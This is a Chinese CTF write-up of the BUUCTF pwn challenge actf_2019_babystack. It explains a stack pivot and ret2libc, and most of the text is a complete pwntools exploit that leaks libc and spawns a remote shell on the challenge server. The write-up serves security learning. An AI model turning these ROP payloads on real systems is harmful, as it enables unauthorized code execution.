首页 > 其他分享 >BUUCTF pwn actf_2019_babystack

BUUCTF pwn actf_2019_babystack

时间:2024-05-29 17:00:23浏览次数:15  
标签:BUUCTF addr puts ret payload 2019 pwn recvuntil stack

先checksec看保护:

 

ida看主程序:

主要部分图片已经说了,由于最多只能往s中写入224字节,padding占据208字节,fake ebp是8字节,ret是8字节,便填满了,由于此处没有backdoor,于是想到栈迁移,在s上部署system("/bin/sh"),在leave_ret到s栈的地址,实行system("/bin/sh")

思路分析: 

1.先ROPgadget获得leave_ret,ret,pop_rdi_ret的地址,为后面做准备

ROPgadget --binary actf --only "pop|ret" | grep rdi
0x0000000000400ad3 : pop rdi ; ret
ROPgadget --binary actf --only "leave|ret"
Gadgets information
============================================================
0x0000000000400a18 : leave ; ret
0x0000000000400709 : ret
0x0000000000400782 : ret 0x2008

2.先获得puts的真实地址,泄露libc基地址,简单的ret2libc

p.sendlineafter(">",'224')
p.recvuntil("Your message will be saved at ")
stack_addr = int(p.recvuntil(b'\n',drop=True),16)
#drop=True是说recv的东西不保留recvuntil的b'\n'
print(f'[+][+][+]stack_address = {stack_addr}')
payload = cyclic(8)
payload += flat(pop_rdi_ret,puts_got,puts_plt,main)
payload = payload.ljust(0xd0,b'a')
payload += flat(stack_addr,leave)
p.send(payload)# 注意是send

p.recvuntil("Byebye~\n")
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(f'[+][+][+] puts_address = {hex(puts_addr)}')
libc = LibcSearcher('puts',puts_addr)

3.获得了libc版本,那么便可以得到system和bin_sh地址:

base = puts_addr - libc.dump('puts')
system = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')

 4.与2几乎一样的payload,这里要注意64位的堆栈平衡,不加ret我是没有打通远程的:

p.sendlineafter(">",'224')
p.recvuntil("Your message will be saved at ")
stack_addr = int(p.recvuntil(b'\n',drop=True),16)
print(f'[+][+][+]stack_address = {stack_addr}')
payload1 = cyclic(8) + flat(pop_rdi_ret,bin_sh,ret,system)
#注意上方payload的ret
payload1 = payload1.ljust(0xd0,b'a')
payload1 += flat(stack_addr,leave)
p.recvuntil('>')
p.send(payload1)
p.interactive()

ok,思路每一步分析完毕。

完整的exp:

from pwn import *
from LibcSearcher3 import *
context(arch='amd64',log_level='debug')
p=remote("node5.buuoj.cn",27725)
elf = ELF("./actf")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x04008F6
pop_rdi_ret = 0x0000000000400ad3
leave = 0x0000000000400a18
ret = 0x0000000000400709

#第一部分,栈迁移泄露libc基地址
p.sendlineafter(">",'224')
p.recvuntil("Your message will be saved at ")
stack_addr = int(p.recvuntil(b'\n',drop=True),16)
print(f'[+][+][+]stack_address = {stack_addr}')
payload = cyclic(8)
payload += flat(pop_rdi_ret,puts_got,puts_plt,main)
payload = payload.ljust(0xd0,b'a')
payload += flat(stack_addr,leave)
p.send(payload)

p.recvuntil("Byebye~\n")
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(f'[+][+][+] puts_address = {hex(puts_addr)}')
libc = LibcSearcher('puts',puts_addr)

#第二部分得到system,bin_sh
base = puts_addr - libc.dump('puts')
system = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')

#第三部分再次栈迁移,实行攻击
p.sendlineafter(">",'224')
p.recvuntil("Your message will be saved at ")
stack_addr = int(p.recvuntil(b'\n',drop=True),16)
print(f'[+][+][+]stack_address = {stack_addr}')
payload1 = cyclic(8) + flat(pop_rdi_ret,bin_sh,ret,system)
payload1 = payload1.ljust(0xd0,b'a')
payload1 += flat(stack_addr,leave)
p.recvuntil('>')
p.send(payload1)
p.interactive()

用的是LibcSearcher3,关于这个可以看我的这篇博客,里面有提到:

XCTF pwn-100-CSDN博客

发送exp:

选的是0,然后就打通了。

总结: 

1.还是要先整理好攻击的思路,明确步骤。

2.栈迁移中的过程要熟悉掌握,以后有时间会写一篇栈迁移文章

标签:BUUCTF,addr,puts,ret,payload,2019,pwn,recvuntil,stack
From: https://blog.csdn.net/zwb2603096342/article/details/139299524

相关文章

  • ctf-pwn 学习前知(1)
    学习pwn这个抽象到一定程度的东西,前期的坐牢是一定的,一个题目延申出的新知识也是超多的。所以写一个这个板块记录一下自己学习的东西,或许会有(2),(3)....checksec拿buuctf的test_your_nc为例子可以看到checksec后出现了很多东西Arch:amd64-64-little(程序架构信息,这是一个64位......
  • 【软件插件】VRay6.2渲染器安装教程(支持SketchUp草图大师2019-2024版本)
    下载链接:https://docs.qq.com/doc/DREh5ak5aQWJTdWdU详细图文教程:https://www.yuque.com/zhefengerhuanzaigua/bld6x5/cul5nfqrf7rw40lv软件介绍VRay是业界最受欢迎的渲染引擎。基于V-Ray内核开发的有VRayfor3dsmax、Maya、Sketchup、Rhino、CINEMA4D等诸多版本,为不同领......
  • BUUCTF-WEB(46-50)
    [安洵杯2019]easy_web开局注意到一个img和cmd参数img这个参数像base64,我们打开cyberchef解密一下CyberChef解密是base64->base64->hex我们加密hex->base64->base64,我们这样就可以获得index.php的源码,所以我们这样加密然后我这边好像有点问题这是正确的?img=TmprMlpUW......
  • P9650 [SNCPC2019] Escape Plan
    原题链接第一份代码#include<bits/stdc++.h>#definelllonglongconstllmaxs=2e18;usingnamespacestd;lle[1000005];lld[1000005];structnode{llto,len;booloperator<(constnode&b)const{returnb.len>len;}};......
  • [博客迁移20190713]题解 P4169 【[Violet]天使玩偶/SJY摆棋子】
    《算法竞赛》书上例题(可惜原书没代码)天使玩偶,一道好题。(书p243)我就来谈谈自己的想法吧!而总有人在这种明明可以离线处理的三维偏序问题上投机取巧。如:KDtree。蒟蒻想说,KDtree在这题复杂度是不对的。虽有剪枝,可是还是有可能遍历整棵树的(期望复杂度不靠谱)对上述看法有争议的,请跳......
  • BUUCTF-WEB(41-45)
    [NCTF2019]FakeXMLcookbook代码处找到题目也提示了是xxe,我们抓包搞一下<?xmlversion="1.0"encoding="utf-8"?><!DOCTYPEhack[<!ENTITYxxe"hack">]><user><username>&xxe;</username><password>123&......
  • vs2019(或者2012),项目右键重新生成,就提示打不开某某lib链接文件。而右键生成则成功通过
    参考这个VS2019附加库目录路径和附加依赖项没有问题却仍报错LNK1104无法打开lib的解决办法https://blog.csdn.net/weixin_66296893/article/details/127463346 他解释的原因很好,目录深度(绝对路径深度) 而我遇到的问题是,右键重新生成则提示打不开某lib文件。而右键生成,则没......
  • BUUCTF-Misc(51-60)
    [ACTF新生赛2020]outguess是一堆文件无从下手,在图片这里找到了社会主义核心价值观密码解密一下得到之后又在这个压缩包提取了一个压缩包,用刚才解密的密码竟然不对然后后来搜了wp,说outguess是一种加密,然后下载,解密就得到flag了谁赢了比赛?打开题目没啥思路直接是binwalk......
  • pwn练习
    [GFCTF2021]where_is_shellfrompwnimport*>>>elf=ELF("./shell")[*]'/home/za/ctf/pwn/nssctf/whereisshell/shell'Arch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXen......
  • pwn杂项之linux命令执行
    通常pwn题目,时常会考到对Linux命令的一些使用,比如当cat被禁用的时候,可以使用tac,或者别的命令代替......